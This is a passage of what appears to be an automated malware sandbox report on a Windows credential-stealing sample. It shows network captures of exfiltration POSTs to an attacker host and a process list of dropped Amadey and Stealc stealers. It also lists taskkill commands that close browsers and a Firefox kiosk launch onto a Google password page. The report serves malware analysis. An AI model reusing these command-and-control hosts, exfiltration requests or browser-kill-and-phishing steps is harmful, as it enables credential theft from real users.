2024-10-30 04:26:16 UTC	1236	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:26:17 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=63tc929ohi0cikpo9un6ag0v37; expires=Sat, 22 Feb 2025 22:12:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4NQgQD1THKVHaTMH5su1zPA%2BMU8Kir0DDgIqdB8a5EaJ6qyYdd6JLcMoKqfOPcu%2FFzSZVNFxK%2FZ66ALbz1Y59NUzvdXsv4aKpGCrSyCOD57gFD4wWL4v2Tc0O71RjwKhG28Oe60%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a56f4eff4786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1866&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2155&delivery_rate=1511482&cwnd=234&unsent_bytes=0&cid=b36a1740aab82c46&ts=338&x=0"
2024-10-30 04:26:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:26:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50090	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29594 Host: necklacedmny.store
2024-10-30 04:26:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:26:17 UTC	14263	OUT	Data Raw: 71 56 f7 3c b2 48 57 ea bb d6 4e c8 25 b2 ef e3 61 91 f0 2b 67 33 ea 50 1f bb 0f a8 44 8f ce 2b 2d a7 56 60 09 b2 24 34 29 5b 2d e7 4b 22 b2 41 af e6 6e 1a 22 00 30 8b 38 ec e8 05 dc 94 a1 f0 06 48 c8 72 4d 0c e6 cb c9 7b 37 2b d3 54 00 5d bd 1b 19 3b b9 5d d6 b0 62 64 d4 d8 b2 3e 4e ea a5 d9 43 0c a2 06 96 37 2f 6f ce cc a3 4f a0 e5 d8 92 b8 15 d9 4f fd 51 d3 72 2c cd 00 d0 a1 2d 28 34 6f d3 bb 1f 0a 96 30 7b 59 e0 aa f1 da 74 97 64 4e 4f 7b d0 05 20 fa a8 d7 de 97 39 fc 2f 93 b1 e1 23 f8 87 db 48 09 dc e1 99 67 65 3c f2 11 88 4c c8 7c ab 22 ff ca 59 60 6b c0 0b b1 15 bd c4 28 14 29 ee 79 ef ae 4c 8e c6 25 5f 2c 0f 7d 2b d2 6e e6 4d 51 7b a6 ae 81 1d 27 c4 6e 95 17 e4 17 48 1c d2 dc e6 2f 03 e8 44 5a 14 d3 ec f5 33 ce 81 7a 1d ff 04 02 d2 8d 63 6d 2c 6a Data Ascii: qV<HWN%a+g3PD+-V`$4)[-K"An"08HrM{7+T];]bd>NC7/oOOQr,-(4o0{YtdNO{ 9/#Hge<L\|"Y`k()yL%_,}+nMQ{'nH/DZ3zcm,j
2024-10-30 04:26:18 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ji9b08fnfghtblcvfg2e2rh9b8; expires=Sat, 22 Feb 2025 22:12:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oE8Vy6MB9ExRf5Egk0aES%2FWzXHF4qumkDs4tMQ7lUBMmT4ZjrZmdGO9cavtqoKq8m9ZSdvUCm07%2Bzvzqu7zRiTb0c2lgsMbAVVHJbCrP3B1M9EGIqFWAz9XBPRGoqE%2BpsoOP5%2Bk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a576587ba91e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1292&sent=15&recv=34&lost=0&retrans=0&sent_bytes=2844&recv_bytes=30580&delivery_rate=2192278&cwnd=252&unsent_bytes=0&cid=27da401eaaf1e29c&ts=638&x=0"
2024-10-30 04:26:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:26:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50092	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 04:26:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AC160988B363BA17740D9A468BAD2EF1
2024-10-30 04:26:19 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=opt0u50m4b4iuqugaslt06h15e; expires=Sat, 22 Feb 2025 22:12:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zLdnw2xtOV9sB6GfA55nMhLfO3Kb7rz%2BM4aL3asdSpS0PXrm9nSTELXdDdTuuaLIATDbTufL4ERNyYypJQb2MHlyq72Yb%2Fzfa97Li6xfzxo41j6bWksSRZm%2FmEkohelqhS48iNE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a57e7cf14780-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1551151&cwnd=250&unsent_bytes=0&cid=372ea2338b201df0&ts=698&x=0"
2024-10-30 04:26:19 UTC	214	IN	Data Raw: 64 30 0d 0a 42 43 53 5a 6f 64 54 5a 47 37 49 71 77 76 37 6f 42 51 70 61 68 74 43 56 4c 41 65 2f 2b 44 65 65 35 4e 73 44 6b 4b 4c 66 34 59 5a 66 58 37 76 55 39 75 4d 35 32 6c 36 32 6a 74 4a 5a 4a 51 61 70 34 61 30 5a 4b 59 33 4a 41 72 44 56 36 6a 43 2b 6b 2b 6d 39 71 57 74 43 2f 2f 33 37 76 58 37 55 42 4b 65 47 6a 53 63 6d 65 4f 43 6b 74 78 59 33 6b 39 70 53 76 4e 37 72 66 72 7a 5a 2f 5a 53 6b 50 67 62 78 31 61 43 70 49 65 34 46 6e 74 48 5a 50 54 39 30 74 4f 47 67 41 6a 61 4f 79 78 6d 76 30 6f 63 73 2f 63 75 78 68 4e 6f 72 56 76 6a 50 73 4c 5a 32 6e 45 2b 36 6d 38 6f 70 4b 44 7a 79 38 71 38 63 4b 35 32 64 46 61 54 55 70 6c 34 3d 0d 0a Data Ascii: d0BCSZodTZG7Iqwv7oBQpahtCVLAe/+Dee5NsDkKLf4YZfX7vU9uM52l62jtJZJQap4a0ZKY3JArDV6jC+k+m9qWtC//37vX7UBKeGjScmeOCktxY3k9pSvN7rfrzZ/ZSkPgbx1aCpIe4FntHZPT90tOGgAjaOyxmv0ocs/cuxhNorVvjPsLZ2nE+6m8opKDzy8q8cK52dFaTUpl4=
2024-10-30 04:26:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:24:03
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x710000
File size:	2'994'688 bytes
MD5 hash:	7F339D0252F408065ABE57AC23EED91C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2173743072.0000000001567000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218579742.0000000001538000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218352412.0000000001560000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:24:25
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe"
Imagebase:	0xb10000
File size:	2'899'456 bytes
MD5 hash:	2C2EF4A8598A91D781960D9AE7D8CA86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:24:27
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe"
Imagebase:	0xe10000
File size:	1'883'648 bytes
MD5 hash:	B3D3107FAF89ED1B14EBA469E5F6442C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2386839542.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2427095696.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:24:30
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xaa0000
File size:	1'883'648 bytes
MD5 hash:	B3D3107FAF89ED1B14EBA469E5F6442C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2465363519.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2425000445.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:25:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xaa0000
File size:	1'883'648 bytes
MD5 hash:	B3D3107FAF89ED1B14EBA469E5F6442C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2711130539.0000000004910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:25:14
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe"
Imagebase:	0x1000000
File size:	2'994'688 bytes
MD5 hash:	7F339D0252F408065ABE57AC23EED91C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2944432729.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2911175052.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:25:25
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe"
Imagebase:	0x140000
File size:	2'145'792 bytes
MD5 hash:	0D30EB6A4023A6DCE770CE3D6388CB9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.2960373733.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3001129617.0000000000141000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3004186690.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:25:31
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe"
Imagebase:	0x1000000
File size:	2'994'688 bytes
MD5 hash:	7F339D0252F408065ABE57AC23EED91C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.3131133881.00000000018DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:25:33
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe"
Imagebase:	0x870000
File size:	919'552 bytes
MD5 hash:	59B54224956FE92C6CF81FF78616CF7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:25:33
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:25:33
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:25:35
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:25:35
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:25:36
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:25:36
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:25:36
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:25:36
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:25:36
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:25:36
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:25:37
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:25:37
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:25:37
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:25:38
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa78a0b3-bca7-4b7b-8021-d7d875974ef5} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e3b86f310 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:25:40
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe"
Imagebase:	0xa40000
File size:	2'899'456 bytes
MD5 hash:	2C2EF4A8598A91D781960D9AE7D8CA86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:25:40
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe"
Imagebase:	0x140000
File size:	2'145'792 bytes
MD5 hash:	0D30EB6A4023A6DCE770CE3D6388CB9B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.3127862196.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3268929874.0000000000141000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3274363852.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:25:40
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4172 -prefMapHandle 4168 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e2b9126-91e2-41af-b164-fbbe6f838f36} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e4cd8c210 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:25:42
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002538001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002538001\num.exe"
Imagebase:	0xbf0000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
